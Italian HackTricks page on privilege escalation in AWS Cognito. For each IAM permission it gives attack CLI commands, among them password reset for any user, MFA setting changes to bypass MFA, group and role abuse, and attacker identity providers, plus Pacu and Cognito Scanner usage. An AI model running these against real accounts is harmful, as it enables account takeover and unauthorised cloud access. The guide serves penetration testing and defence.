AWS - Cognito Privesc

Support HackTricks

Cognito

Per ulteriori informazioni su Cognito controlla:

AWS - Cognito Enum

Raccolta delle credenziali dall'Identity Pool

Poiché Cognito può concedere credenziali di ruolo IAM sia a utenti autenticati che non autenticati, se riesci a localizzare l'ID dell'Identity Pool di un'applicazione (dovrebbe essere hardcoded in essa) puoi ottenere nuove credenziali e quindi privesc (all'interno di un account AWS in cui probabilmente non avevi nemmeno alcuna credenziale in precedenza).

Per ulteriori informazioni controlla questa pagina.

Impatto Potenziale: Privesc diretto al ruolo dei servizi associato agli utenti non autenticati (e probabilmente a quello associato agli utenti autenticati).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Con questo permesso puoi concedere qualsiasi ruolo cognito agli utenti autenticati/non autenticati dell'app cognito.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"

Se l'app cognito non ha abilitati gli utenti non autenticati, potresti aver bisogno anche del permesso cognito-identity:UpdateIdentityPool per abilitarlo.

Impatto Potenziale: Privesc diretto a qualsiasi ruolo cognito.

cognito-identity:update-identity-pool

Un attaccante con questo permesso potrebbe impostare, ad esempio, un Cognito User Pool sotto il suo controllo o qualsiasi altro provider di identità dove può accedere come modo per accedere a questo Cognito Identity Pool. Poi, semplicemente accedere a quel provider di utenti gli permetterà di accedere al ruolo autenticato configurato nell'Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

È anche possibile abusare di questo permesso per consentire l'autenticazione di base:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Impatto Potenziale: Compromettere il ruolo IAM autenticato configurato all'interno del pool di identità.

cognito-idp:AdminAddUserToGroup

Questo permesso consente di aggiungere un utente Cognito a un gruppo Cognito, quindi un attaccante potrebbe abusare di questo permesso per aggiungere un utente sotto il suo controllo ad altri gruppi con privilegi migliori o ruoli IAM diversi:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Impatto Potenziale: Privesc ad altri gruppi Cognito e ruoli IAM associati ai Gruppi del Pool Utenti.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Un attaccante con questi permessi potrebbe creare/aggiornare gruppi con ogni ruolo IAM che può essere utilizzato da un Provider di Identità Cognito compromesso e rendere un utente compromesso parte del gruppo, accedendo a tutti quei ruoli:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Impatto Potenziale: Privesc ad altri ruoli IAM di Cognito.

cognito-idp:AdminConfirmSignUp

Questo permesso consente di verificare una registrazione. Per impostazione predefinita, chiunque può accedere alle applicazioni Cognito; se ciò viene lasciato, un utente potrebbe creare un account con qualsiasi dato e verificarlo con questo permesso.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Impatto Potenziale: Privesc indiretto al ruolo IAM del pool di identità per utenti autenticati se puoi registrare un nuovo utente. Privesc indiretto ad altre funzionalità dell'app potendo confermare qualsiasi account.

cognito-idp:AdminCreateUser

Questo permesso consentirebbe a un attaccante di creare un nuovo utente all'interno del pool di utenti. Il nuovo utente viene creato come abilitato, ma dovrà cambiare la propria password.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Impatto Potenziale: Privesc diretto al ruolo IAM del pool di identità per utenti autenticati. Privesc indiretto ad altre funzionalità dell'app potendo creare qualsiasi utente.

cognito-idp:AdminEnableUser

Questa autorizzazione può aiutare in uno scenario molto particolare in cui un attaccante ha trovato le credenziali di un utente disabilitato e ha bisogno di riattivarlo.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Impatto Potenziale: Privesc indiretto al ruolo IAM del pool di identità per utenti autenticati e permessi dell'utente se l'attaccante avesse credenziali per un utente disabilitato.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Questo permesso consente di accedere con il metodo ADMIN_USER_PASSWORD_AUTH. Per ulteriori informazioni segui il link.

cognito-idp:AdminSetUserPassword

Questo permesso consentirebbe a un attaccante di cambiare la password di qualsiasi utente, rendendolo in grado di impersonare qualsiasi utente (che non ha MFA abilitato).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Impatto Potenziale: Privesc diretto a potenzialmente qualsiasi utente, quindi accesso a tutti i gruppi di cui ogni utente è membro e accesso al ruolo IAM autenticato dell'Identity Pool.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Un attaccante potrebbe potenzialmente abusare di questo permesso per impostare un telefono cellulare sotto il suo controllo come SMS MFA di un utente.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Simile a quello precedente, questo permesso può essere utilizzato per impostare le preferenze MFA di un utente per bypassare la protezione MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Simile a quello precedente, questo permesso può essere utilizzato per impostare le preferenze MFA di un pool utenti per bypassare la protezione MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: È anche possibile aggiornare il pool utenti per modificare la politica MFA. Controlla cli qui.

Potential Impact: Privesc indiretto a potenzialmente qualsiasi utente di cui l'attaccante conosce le credenziali, questo potrebbe consentire di bypassare la protezione MFA.

cognito-idp:AdminUpdateUserAttributes

Un attaccante con questo permesso potrebbe cambiare l'email o il numero di telefono o qualsiasi altro attributo di un utente sotto il suo controllo per cercare di ottenere più privilegi in un'applicazione sottostante. Questo consente di cambiare un'email o un numero di telefono e impostarlo come verificato.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Impatto Potenziale: Potenziale privesc indiretto nell'applicazione sottostante che utilizza Cognito User Pool che conferisce privilegi basati sugli attributi dell'utente.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Un attaccante con questo permesso potrebbe creare un nuovo User Pool Client meno restrittivo rispetto ai client di pool già esistenti. Ad esempio, il nuovo client potrebbe consentire qualsiasi tipo di metodo per autenticarsi, non avere alcun segreto, avere la revoca dei token disabilitata, consentire ai token di essere validi per un periodo più lungo...

Lo stesso può essere fatto se invece di creare un nuovo client, un esistente viene modificato.

Nella linea di comando (o nell'aggiornamento) puoi vedere tutte le opzioni, controllalo!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Impatto Potenziale: Potenziale privesc indiretto all'utente autorizzato dell'Identity Pool utilizzato dal User Pool creando un nuovo client che allenta le misure di sicurezza e rende possibile a un attaccante di accedere con un utente che è stato in grado di creare.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Un attaccante potrebbe abusare di questo permesso per creare utenti caricando un csv con nuovi utenti.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(Nel caso in cui crei un nuovo lavoro di importazione, potresti anche aver bisogno del permesso iam passrole, non l'ho ancora testato).

Impatto Potenziale: Privesc diretto al ruolo IAM del pool di identità per gli utenti autenticati. Privesc indiretto ad altre funzionalità dell'app potendo creare qualsiasi utente.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Un attaccante potrebbe creare un nuovo provider di identità per poter accedere tramite questo provider.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Impatto Potenziale: Privesc diretto al ruolo IAM del pool di identità per utenti autenticati. Privesc indiretto ad altre funzionalità dell'app potendo creare qualsiasi utente.

cognito-sync:* Analisi

Questo è un permesso molto comune per impostazione predefinita nei ruoli dei Cognito Identity Pools. Anche se un carattere jolly nei permessi sembra sempre brutto (soprattutto proveniente da AWS), i permessi concessi non sono super utili da una prospettiva di attaccante.

Questo permesso consente di leggere informazioni sugli utenti dei Identity Pools e sugli Identity IDs all'interno dei Identity Pools (che non sono informazioni sensibili). Gli Identity IDs potrebbero avere Datasets assegnati, che sono informazioni delle sessioni (AWS lo definisce come un gioco salvato). Potrebbe essere possibile che questo contenga qualche tipo di informazione sensibile (ma la probabilità è piuttosto bassa). Puoi trovare nella pagina di enumerazione come accedere a queste informazioni.

Un attaccante potrebbe anche utilizzare questi permessi per iscriversi a uno stream Cognito che pubblica modifiche su questi dataset o a una lambda che si attiva su eventi cognito. Non ho visto questo essere utilizzato, e non mi aspetterei informazioni sensibili qui, ma non è impossibile.

Strumenti Automatici

  • Pacu, il framework di sfruttamento AWS, ora include i moduli "cognito__enum" e "cognito__attack" che automatizzano l'enumerazione di tutte le risorse Cognito in un account e segnalano configurazioni deboli, attributi utente utilizzati per il controllo degli accessi, ecc., e automatizzano anche la creazione di utenti (incluso il supporto MFA) e l'escalation dei privilegi basata su attributi personalizzati modificabili, credenziali del pool di identità utilizzabili, ruoli assunibili nei token id, ecc.

Per una descrizione delle funzioni dei moduli vedere la parte 2 del post del blog. Per le istruzioni di installazione vedere la pagina principale di Pacu.

Utilizzo

Esempio di utilizzo cognito__attack per tentare la creazione di un utente e tutti i vettori di privesc contro un dato pool di identità e client del pool utenti:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Esempio di utilizzo di cognito__enum per raccogliere tutti i pool utenti, i client dei pool utenti, i pool di identità, gli utenti, ecc. visibili nell'attuale account AWS:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner è uno strumento CLI in python che implementa diversi attacchi su Cognito, inclusa un'escalation di privilegi.

Installazione

$ pip install cognito-scanner

Utilizzo

$ cognito-scanner --help

Per ulteriori informazioni controlla https://github.com/padok-team/cognito-scanner

Supporta HackTricks

Last updated